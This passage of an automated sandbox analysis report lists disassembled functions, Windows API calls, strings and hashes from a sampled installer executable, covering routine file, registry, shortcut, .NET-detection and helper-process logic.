The file appears to be in use (%d). Will delete on restart., xrefs: 0045A88F
Failed to strip read-only attribute., xrefs: 0045A82B
.chw, xrefs: 0045A78D
Stripped read-only attribute., xrefs: 0045A81F
.chm, xrefs: 0045A774

Memory Dump Source

Source File: 00000001.00000002.2928191926.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2928157498.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928331595.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928367613.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928401575.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928440153.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Similarity

API ID: ErrorLast
String ID: .chm$.chw$.fts$.gid$.hlp$.lnk$Deleting file: %s$Failed to delete the file; it may be in use (%d).$Failed to strip read-only attribute.$Stripped read-only attribute.$The file appears to be in use (%d). Will delete on restart.
API String ID: 1452528299-3112430753
Opcode ID: 8b8de21ee5b71d86044b816628dba2f396f5363eda986b0b83270a7f67df780a
Instruction ID: 43962401d403c06de7b31dde6fd87328655f81364e16ca473e433d379c6e1912
Opcode Fuzzy Hash: 8b8de21ee5b71d86044b816628dba2f396f5363eda986b0b83270a7f67df780a
Instruction Fuzzy Hash: EC719070B002545BCB00EB6998417AE77A49F4931AF91896BFC01AB383DB7C9E1DC75E

Function 0045CBC0 Relevance: 22.9, APIs: 8, Strings: 5, Instructions: 182libraryloadermemoryCOMMON

Download Yara Rule

APIs

GetVersion.KERNEL32 ref: 0045CBDA
GetModuleHandleA.KERNEL32(advapi32.dll), ref: 0045CBFA
GetProcAddress.KERNEL32(00000000,GetNamedSecurityInfoW), ref: 0045CC07
GetProcAddress.KERNEL32(00000000,SetNamedSecurityInfoW), ref: 0045CC14
GetProcAddress.KERNEL32(00000000,SetEntriesInAclW), ref: 0045CC22

Part of subcall function 0045CAC8: MultiByteToWideChar.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,00000000,0045CB67,?,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0045CB41

AllocateAndInitializeSid.ADVAPI32(?,?,?,00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,00000000,0045CE15,?,?,00000000), ref: 0045CCDB
GetLastError.KERNEL32(?,?,?,00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,00000000,0045CE15,?,?,00000000), ref: 0045CCE4

Strings

GetNamedSecurityInfoW, xrefs: 0045CC01
SetEntriesInAclW, xrefs: 0045CC1C
SetNamedSecurityInfoW, xrefs: 0045CC0E
W, xrefs: 0045CCF2
advapi32.dll, xrefs: 0045CBF5

Memory Dump Source

Source File: 00000001.00000002.2928191926.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2928157498.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928331595.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928367613.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928401575.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928440153.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Similarity

API ID: AddressProc$AllocateByteCharErrorHandleInitializeLastModuleMultiVersionWide
String ID: GetNamedSecurityInfoW$SetEntriesInAclW$SetNamedSecurityInfoW$W$advapi32.dll
API String ID: 59345061-4263478283
Opcode ID: a232fc9af4861a9c5d561c4cdd8364b97c4fb44f2e207c549b4316288fabcd11
Instruction ID: 99773ef8a3d0261052733c4904a47669a242c0659fe16ead1f438c4abb71ff4e
Opcode Fuzzy Hash: a232fc9af4861a9c5d561c4cdd8364b97c4fb44f2e207c549b4316288fabcd11
Instruction Fuzzy Hash: BD518471900308EFDB10DF99C881BEEBBB8EB48711F14806AF904E7241C678A945CFA9

Function 0041B3AC Relevance: 21.1, APIs: 14, Instructions: 126windowCOMMON

Download Yara Rule

APIs

CreateCompatibleDC.GDI32(00000000), ref: 0041B3C3
CreateCompatibleDC.GDI32(00000000), ref: 0041B3CD
GetObjectA.GDI32(?,00000018,00000004), ref: 0041B3DF
CreateBitmap.GDI32(0000000B,?,00000001,00000001,00000000), ref: 0041B3F6
GetDC.USER32(00000000), ref: 0041B402
CreateCompatibleBitmap.GDI32(00000000,0000000B,?), ref: 0041B42F
ReleaseDC.USER32(00000000,00000000), ref: 0041B455
SelectObject.GDI32(00000000,?), ref: 0041B470
SelectObject.GDI32(?,00000000), ref: 0041B47F
StretchBlt.GDI32(?,00000000,00000000,0000000B,?,00000000,00000000,00000000,?,?,00CC0020), ref: 0041B4AB
SelectObject.GDI32(00000000,00000000), ref: 0041B4B9
SelectObject.GDI32(?,00000000), ref: 0041B4C7
DeleteDC.GDI32(00000000), ref: 0041B4D0
DeleteDC.GDI32(?), ref: 0041B4D9

Memory Dump Source

Source File: 00000001.00000002.2928191926.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2928157498.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928331595.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928367613.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928401575.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928440153.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Similarity

API ID: Object$CreateSelect$Compatible$BitmapDelete$ReleaseStretch
String ID:
API String ID: 644427674-0
Opcode ID: 9212dc48eb065078ffd6e64a0fe4b3e7e755c3ed7e1f96497366cc94fc87ddf9
Instruction ID: 0f3e5998203d07172116f12fa3fedaa120d09cd030f2870c51d139f455c41937
Opcode Fuzzy Hash: 9212dc48eb065078ffd6e64a0fe4b3e7e755c3ed7e1f96497366cc94fc87ddf9
Instruction Fuzzy Hash: E941AD71E44619AFDB10DAE9C846FEFB7BCEB08704F104466B614F7281D6786D408BA8

Function 00472C9C Relevance: 19.6, APIs: 4, Strings: 7, Instructions: 337COMMON

Download Yara Rule

APIs

Part of subcall function 0042C804: GetFullPathNameA.KERNEL32(00000000,00001000,?), ref: 0042C828

WritePrivateProfileStringA.KERNEL32(00000000,00000000,00000000,00000000), ref: 00472E54
SHChangeNotify.SHELL32(00000008,00000001,00000000,00000000), ref: 00472F5B
SHChangeNotify.SHELL32(00000002,00000001,00000000,00000000), ref: 00472F71
SHChangeNotify.SHELL32(00001000,00001001,00000000,00000000), ref: 00472F96

Strings

.url, xrefs: 00472D6E
target.lnk, xrefs: 00472FE0
{group}\, xrefs: 00472CF6
.pif, xrefs: 00472D4B, 00472EDF
Filename: %s, xrefs: 00472DF6
.lnk, xrefs: 00472D28
Desktop.ini, xrefs: 00473017

Memory Dump Source

Source File: 00000001.00000002.2928191926.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2928157498.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928331595.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928367613.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928401575.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928440153.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Similarity

API ID: ChangeNotify$FullNamePathPrivateProfileStringWrite
String ID: .lnk$.pif$.url$Desktop.ini$Filename: %s$target.lnk${group}\
API String ID: 971782779-3668018701
Opcode ID: 990eaa4bdac991bdce3dc023d752333eda30439449dc0add793edfc9e4bb7b4b
Instruction ID: 70dfeb6d3285313767042aba4635c5ad43c1f2ff9f1230b4453fc56d38a30733
Opcode Fuzzy Hash: 990eaa4bdac991bdce3dc023d752333eda30439449dc0add793edfc9e4bb7b4b
Instruction Fuzzy Hash: E0D13374A00148AFDF11EFA9D582BDDBBF5AF08305F50806AF804B7392D6789E45CB69

Function 00454874 Relevance: 19.5, APIs: 7, Strings: 4, Instructions: 244registryCOMMON

Download Yara Rule

APIs

Part of subcall function 0042DE1C: RegOpenKeyExA.ADVAPI32(80000002,System\CurrentControlSet\Control\Windows,7=H,?,00000001,?,?,00483D37,?,00000001,00000000), ref: 0042DE38

RegQueryValueExA.ADVAPI32(0045AB6A,00000000,00000000,?,00000000,?,00000000,00454B0D,?,0045AB6A,00000003,00000000,00000000,00454B44), ref: 0045498D

Part of subcall function 0042E8C8: FormatMessageA.KERNEL32(00003200,00000000,4C783AFB,00000000,?,00000400,00000000,?,00453273,00000000,kernel32.dll,Wow64RevertWow64FsRedirection,00000000,kernel32.dll,Wow64DisableWow64FsRedirection,00000000), ref: 0042E8E7

RegQueryValueExA.ADVAPI32(0045AB6A,00000000,00000000,00000000,?,00000004,00000000,00454A57,?,0045AB6A,00000000,00000000,?,00000000,?,00000000), ref: 00454A11
RegQueryValueExA.ADVAPI32(0045AB6A,00000000,00000000,00000000,?,00000004,00000000,00454A57,?,0045AB6A,00000000,00000000,?,00000000,?,00000000), ref: 00454A40

Strings

RegOpenKeyEx, xrefs: 00454910
Software\Microsoft\Windows\CurrentVersion\SharedDLLs, xrefs: 004548AB
Software\Microsoft\Windows\CurrentVersion\SharedDLLs, xrefs: 004548E4
, xrefs: 004548FE

Memory Dump Source

Source File: 00000001.00000002.2928191926.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2928157498.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928331595.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928367613.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928401575.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928440153.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Similarity

API ID: QueryValue$FormatMessageOpen
String ID: $RegOpenKeyEx$Software\Microsoft\Windows\CurrentVersion\SharedDLLs$Software\Microsoft\Windows\CurrentVersion\SharedDLLs
API String ID: 2812809588-1577016196
Opcode ID: 9b9dfa61090610d27ab865beaece96ce5b3da7702bfc757bf330bb76a078598e
Instruction ID: 3b35aed17da8244e85d272d2923899a44a2159637523a8fd9e70e85f8d21f96a
Opcode Fuzzy Hash: 9b9dfa61090610d27ab865beaece96ce5b3da7702bfc757bf330bb76a078598e
Instruction Fuzzy Hash: 23914871E44148ABDB10DF95C842BDEB7FCEB49309F50406BF900FB282D6789E458B69

Function 00459458 Relevance: 19.4, APIs: 3, Strings: 8, Instructions: 165registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00459364: RegCloseKey.ADVAPI32(00000000,00000000,00000001,00000000,?,00000000,?,00000002,004594A1,00000000,00459659,?,00000000,00000000,00000000), ref: 004593B1

RegCloseKey.ADVAPI32(00000000,00000000,00000001,00000000,00000000,00459659,?,00000000,00000000,00000000), ref: 004594FF
RegCloseKey.ADVAPI32(00000000,00000000,00000001,00000000,00000000,00459659,?,00000000,00000000,00000000), ref: 00459569

Part of subcall function 0042DE1C: RegOpenKeyExA.ADVAPI32(80000002,System\CurrentControlSet\Control\Windows,7=H,?,00000001,?,?,00483D37,?,00000001,00000000), ref: 0042DE38

RegCloseKey.ADVAPI32(00000000,00000000,00000001,00000000,00000000,00000001,00000000,00000000,00459659,?,00000000,00000000,00000000), ref: 004595D0

Strings

.NET Framework version %s not found, xrefs: 00459609
v2.0.50727, xrefs: 0045955B
.NET Framework not found, xrefs: 0045961D
SOFTWARE\Microsoft\.NETFramework\Policy\v1.1, xrefs: 00459583
v1.1.4322, xrefs: 004595C2
SOFTWARE\Microsoft\.NETFramework\Policy\v2.0, xrefs: 0045951C
v4.0.30319, xrefs: 004594F1
SOFTWARE\Microsoft\.NETFramework\Policy\v4.0, xrefs: 004594B2

Memory Dump Source

Source File: 00000001.00000002.2928191926.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2928157498.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928331595.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928367613.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928401575.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928440153.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Similarity

API ID: Close$Open
String ID: .NET Framework not found$.NET Framework version %s not found$SOFTWARE\Microsoft\.NETFramework\Policy\v1.1$SOFTWARE\Microsoft\.NETFramework\Policy\v2.0$SOFTWARE\Microsoft\.NETFramework\Policy\v4.0$v1.1.4322$v2.0.50727$v4.0.30319
API String ID: 2976201327-446240816
Opcode ID: 977e2d3cd33b4cd9294f0f03bcbe6eb3eddcf61cdb5810a8364f79b6ebaabd84
Instruction ID: e7879d346446e6db82ad1067b50e8ffdd52b59a139ce3e0e88c8f748029a0227
Opcode Fuzzy Hash: 977e2d3cd33b4cd9294f0f03bcbe6eb3eddcf61cdb5810a8364f79b6ebaabd84
Instruction Fuzzy Hash: EB51A331A04148EBCB01DFA8C8A1BEE77A5DB59305F54447BA801DB353EA3D9E1ECB19

Function 00458A44 Relevance: 19.3, APIs: 6, Strings: 5, Instructions: 70sleepsynchronizationCOMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32(?), ref: 00458A7B
TerminateProcess.KERNEL32(?,00000001,?,00002710,?), ref: 00458A97
WaitForSingleObject.KERNEL32(?,00002710,?), ref: 00458AA5
GetExitCodeProcess.KERNEL32(?), ref: 00458AB6
CloseHandle.KERNEL32(?,?,?,?,00002710,?,00000001,?,00002710,?), ref: 00458AFD
Sleep.KERNEL32(000000FA,?,?,?,?,00002710,?,00000001,?,00002710,?), ref: 00458B19

Strings

Helper process exited, but failed to get exit code., xrefs: 00458AEF
Stopping 64-bit helper process. (PID: %u), xrefs: 00458A6D
Helper isn't responding; killing it., xrefs: 00458A87
Helper process exited with failure code: 0x%x, xrefs: 00458AE3
Helper process exited., xrefs: 00458AC5

Memory Dump Source

Source File: 00000001.00000002.2928191926.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2928157498.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928331595.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928367613.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928401575.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928440153.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Similarity

API ID: CloseHandleProcess$CodeExitObjectSingleSleepTerminateWait
String ID: Helper isn't responding; killing it.$Helper process exited with failure code: 0x%x$Helper process exited, but failed to get exit code.$Helper process exited.$Stopping 64-bit helper process. (PID: %u)
API String ID: 3355656108-1243109208
Opcode ID: ad2dcfba7775d92cdd705c6c37c7301898455033d5c50531ee5783888c1f7286
Instruction ID: 3f2324d87e707cedf1d5c4e10b6e93e7b0b52df74c864805f1ac214018e434b5
Opcode Fuzzy Hash: ad2dcfba7775d92cdd705c6c37c7301898455033d5c50531ee5783888c1f7286
Instruction Fuzzy Hash: 2F2130706087409AD720E779C44575BB6D49F08345F04CC2FF99AEB283DF78E8488B2A

Function 00454528 Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 228registryCOMMON

Download Yara Rule

APIs

Part of subcall function 0042DDE4: RegCreateKeyExA.ADVAPI32(?,?,?,?,?,?,?,?,?), ref: 0042DE10

RegQueryValueExA.ADVAPI32(?,?,00000000,?,00000000,?,00000000,004546FF,?,00000000,004547C3), ref: 0045464F
RegCloseKey.ADVAPI32(?,?,?,00000000,00000004,00000000,00000001,?,00000000,?,00000000,004546FF,?,00000000,004547C3), ref: 0045478B

Part of subcall function 0042E8C8: FormatMessageA.KERNEL32(00003200,00000000,4C783AFB,00000000,?,00000400,00000000,?,00453273,00000000,kernel32.dll,Wow64RevertWow64FsRedirection,00000000,kernel32.dll,Wow64DisableWow64FsRedirection,00000000), ref: 0042E8E7

Strings

, xrefs: 004545B1
RegCreateKeyEx, xrefs: 004545C3
Software\Microsoft\Windows\CurrentVersion\SharedDLLs, xrefs: 00454567
Software\Microsoft\Windows\CurrentVersion\SharedDLLs, xrefs: 00454597

Memory Dump Source

Source File: 00000001.00000002.2928191926.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2928157498.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928331595.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928367613.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928401575.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928440153.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Similarity

API ID: CloseCreateFormatMessageQueryValue
String ID: $RegCreateKeyEx$Software\Microsoft\Windows\CurrentVersion\SharedDLLs$Software\Microsoft\Windows\CurrentVersion\SharedDLLs
API String ID: 2481121983-1280779767
Opcode ID: 79b7515256ab6cc25d697d542fc9f7a9b13bca3f64e6169635af42a7d90306bb
Instruction ID: 93c55a0ab54dbcba353dd8d7ef9dbdddde8d62e860aeeeeaccb8ee2ace91ec52
Opcode Fuzzy Hash: 79b7515256ab6cc25d697d542fc9f7a9b13bca3f64e6169635af42a7d90306bb
Instruction Fuzzy Hash: 49810F75A00209AFDB00DFD5C981BDEB7B8EB49309F10452AF900FB282D7789E45CB69

Function 00496DA4 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 141fileCOMMON

Download Yara Rule

APIs

Part of subcall function 004538BC: CreateFileA.KERNEL32(00000000,C0000000,00000000,00000000,00000002,00000080,00000000,.tmp,uoI,_iu,?,00000000,004539F6), ref: 004539AB
Part of subcall function 004538BC: CloseHandle.KERNEL32(00000000,00000000,C0000000,00000000,00000000,00000002,00000080,00000000,.tmp,uoI,_iu,?,00000000,004539F6), ref: 004539BB

CopyFileA.KERNEL32(00000000,00000000,00000000), ref: 00496E21
SetFileAttributesA.KERNEL32(00000000,00000080,00000000,00496F75), ref: 00496E42
CreateWindowExA.USER32(00000000,STATIC,00496F84,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00400000,00000000), ref: 00496E69
SetWindowLongA.USER32(?,000000FC,004965FC), ref: 00496E7C
SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000000,00000097,00000000,00496F48,?,?,000000FC,004965FC,00000000,STATIC,00496F84), ref: 00496EAC
MsgWaitForMultipleObjects.USER32(00000001,?,00000000,000000FF,000000FF), ref: 00496F20
CloseHandle.KERNEL32(?,?,?,00000000,00000000,00000000,00000000,00000000,00000097,00000000,00496F48,?,?,000000FC,004965FC,00000000), ref: 00496F2C

Part of subcall function 00453D30: WritePrivateProfileStringA.KERNEL32(00000000,00000000,00000000,00000000), ref: 00453E17

DestroyWindow.USER32(?,00496F4F,00000000,00000000,00000000,00000000,00000000,00000097,00000000,00496F48,?,?,000000FC,004965FC,00000000,STATIC), ref: 00496F42

Strings

/SECONDPHASE="%s" /FIRSTPHASEWND=$%x , xrefs: 00496EDB
STATIC, xrefs: 00496E62

Memory Dump Source

Source File: 00000001.00000002.2928191926.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2928157498.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928331595.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928367613.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928401575.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928440153.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Similarity

API ID: Window$File$CloseCreateHandle$AttributesCopyDestroyLongMultipleObjectsPrivateProfileStringWaitWrite
String ID: /SECONDPHASE="%s" /FIRSTPHASEWND=$%x $STATIC
API String ID: 1549857992-2312673372
Opcode ID: c1e27346708524ed962f522e89fbdb3f6ecc9022e95a0b39fd91e794d4f84109
Instruction ID: e02f9a0327592f206aa6a63a0645f409ad27af093be3632dc75f62a316812853
Opcode Fuzzy Hash: c1e27346708524ed962f522e89fbdb3f6ecc9022e95a0b39fd91e794d4f84109
Instruction Fuzzy Hash: 58414C70A44208AFDF00EBA5DD42F9E7BF8EB08714F52457AF510F7292D7799A008B68

Function 0042E418 Relevance: 17.6, APIs: 4, Strings: 6, Instructions: 86registrylibraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(kernel32.dll,GetUserDefaultUILanguage,00000000,0042E51D,?,00000000,0047E830,00000000), ref: 0042E441
GetProcAddress.KERNEL32(00000000,kernel32.dll), ref: 0042E447
RegCloseKey.ADVAPI32(00000000,00000000,00000001,00000000,00000000,kernel32.dll,GetUserDefaultUILanguage,00000000,0042E51D,?,00000000,0047E830,00000000), ref: 0042E495

Strings

GetUserDefaultUILanguage, xrefs: 0042E437
.DEFAULT\Control Panel\International, xrefs: 0042E46C
Locale, xrefs: 0042E484
QaE, xrefs: 0042E4D7, 0042E4DF, 0042E4EA, 0042E50C
kernel32.dll, xrefs: 0042E43C
Control Panel\Desktop\ResourceLocale, xrefs: 0042E4A4

Memory Dump Source

Source File: 00000001.00000002.2928191926.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2928157498.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928331595.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928367613.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928401575.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928440153.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Similarity

API ID: AddressCloseHandleModuleProc
String ID: .DEFAULT\Control Panel\International$Control Panel\Desktop\ResourceLocale$GetUserDefaultUILanguage$Locale$QaE$kernel32.dll
API String ID: 4190037839-2312295185
Opcode ID: 8bcd604a55439ceb47fea7ba95052636446e00800d3d3edb63372dc0373b7890
Instruction ID: f42d7e7755912f49377b3a3c2778cbb45b18f2cdc7334bb7b0fb93ca3fe573dd
Opcode Fuzzy Hash: 8bcd604a55439ceb47fea7ba95052636446e00800d3d3edb63372dc0373b7890
Instruction Fuzzy Hash: E8213230B10225BBDB10EAE6DC51B9E76B8EB44308F90447BA504E7281E77CDE419B5C

Function 004629F0 Relevance: 17.6, APIs: 6, Strings: 4, Instructions: 82libraryloaderCOMMON

Download Yara Rule

APIs

GetActiveWindow.USER32 ref: 004629FC
GetModuleHandleA.KERNEL32(user32.dll), ref: 00462A10
GetProcAddress.KERNEL32(00000000,MonitorFromWindow), ref: 00462A1D
GetProcAddress.KERNEL32(00000000,GetMonitorInfoA), ref: 00462A2A
GetWindowRect.USER32(?,00000000), ref: 00462A76
SetWindowPos.USER32(?,00000000,?,?,00000000,00000000,0000001D,?,00000000), ref: 00462AB4

Strings

GetMonitorInfoA, xrefs: 00462A24
user32.dll, xrefs: 00462A0B
(, xrefs: 00462A55
MonitorFromWindow, xrefs: 00462A17

Memory Dump Source

Source File: 00000001.00000002.2928191926.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2928157498.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928331595.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928367613.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928401575.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928440153.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Similarity

API ID: Window$AddressProc$ActiveHandleModuleRect
String ID: ($GetMonitorInfoA$MonitorFromWindow$user32.dll
API String ID: 2610873146-3407710046
Opcode ID: be810167d085ce5d79451071bddde1aea5a5b97ebc567b885f730a6f7d0e2fb3
Instruction ID: 865a179037155f8fdabe2954c964c2dd38b7d55406d5d1e7c7801a7b23b437f8
Opcode Fuzzy Hash: be810167d085ce5d79451071bddde1aea5a5b97ebc567b885f730a6f7d0e2fb3
Instruction Fuzzy Hash: B7219575701B057BD610D6A88D85F3B36D8EB84715F094A2AF944DB3C1E6F8EC018B9A

Function 0042F188 Relevance: 17.6, APIs: 6, Strings: 4, Instructions: 82libraryloaderCOMMON

Download Yara Rule

APIs

GetActiveWindow.USER32 ref: 0042F194
GetModuleHandleA.KERNEL32(user32.dll), ref: 0042F1A8
GetProcAddress.KERNEL32(00000000,MonitorFromWindow), ref: 0042F1B5
GetProcAddress.KERNEL32(00000000,GetMonitorInfoA), ref: 0042F1C2
GetWindowRect.USER32(?,00000000), ref: 0042F20E
SetWindowPos.USER32(?,00000000,?,?,00000000,00000000,0000001D), ref: 0042F24C

Strings

user32.dll, xrefs: 0042F1A3
MonitorFromWindow, xrefs: 0042F1AF
GetMonitorInfoA, xrefs: 0042F1BC
(, xrefs: 0042F1ED

Memory Dump Source

Source File: 00000001.00000002.2928191926.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2928157498.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928331595.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928367613.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928401575.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928440153.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Similarity

API ID: Window$AddressProc$ActiveHandleModuleRect
String ID: ($GetMonitorInfoA$MonitorFromWindow$user32.dll
API String ID: 2610873146-3407710046
Opcode ID: 0bd4435ce292f1e5bbefee0a1fae93cdcffa7d02ebe00659dbed0c72d26099ab
Instruction ID: 50a2e38ba83faf67dd7c56e8d7733487d454ef14a416094e89dadcccf0bf0910
Opcode Fuzzy Hash: 0bd4435ce292f1e5bbefee0a1fae93cdcffa7d02ebe00659dbed0c72d26099ab
Instruction Fuzzy Hash: 3821F279704710ABD300EA68ED41F3B37A9DB89714F88457AF944DB382DA79EC044BA9

Function 00458C1C Relevance: 15.9, APIs: 7, Strings: 2, Instructions: 127pipeCOMMON

Download Yara Rule

APIs

CreateEventA.KERNEL32(00000000,00000001,00000000,00000000,00000000,00458DFB,?,00000000,00458E5E,?,?,021D3858,00000000), ref: 00458C79
TransactNamedPipe.KERNEL32(?,-00000020,0000000C,-00004034,00000014,021D3858,?,00000000,00458D90,?,00000000,00000001,00000000,00000000,00000000,00458DFB), ref: 00458CD6
GetLastError.KERNEL32(?,-00000020,0000000C,-00004034,00000014,021D3858,?,00000000,00458D90,?,00000000,00000001,00000000,00000000,00000000,00458DFB), ref: 00458CE3
MsgWaitForMultipleObjects.USER32(00000001,00000000,00000000,000000FF,000000FF), ref: 00458D2F
GetOverlappedResult.KERNEL32(?,?,00000000,00000001,00458D69,?,-00000020,0000000C,-00004034,00000014,021D3858,?,00000000,00458D90,?,00000000), ref: 00458D55
GetLastError.KERNEL32(?,?,00000000,00000001,00458D69,?,-00000020,0000000C,-00004034,00000014,021D3858,?,00000000,00458D90,?,00000000), ref: 00458D5C

Part of subcall function 0045349C: GetLastError.KERNEL32(00000000,00454031,00000005,00000000,00454066,?,?,00000000,0049B628,00000004,00000000,00000000,00000000,?,004984F9,00000000), ref: 0045349F

Strings

CreateEvent, xrefs: 00458C87
TransactNamedPipe, xrefs: 00458CEF

Memory Dump Source

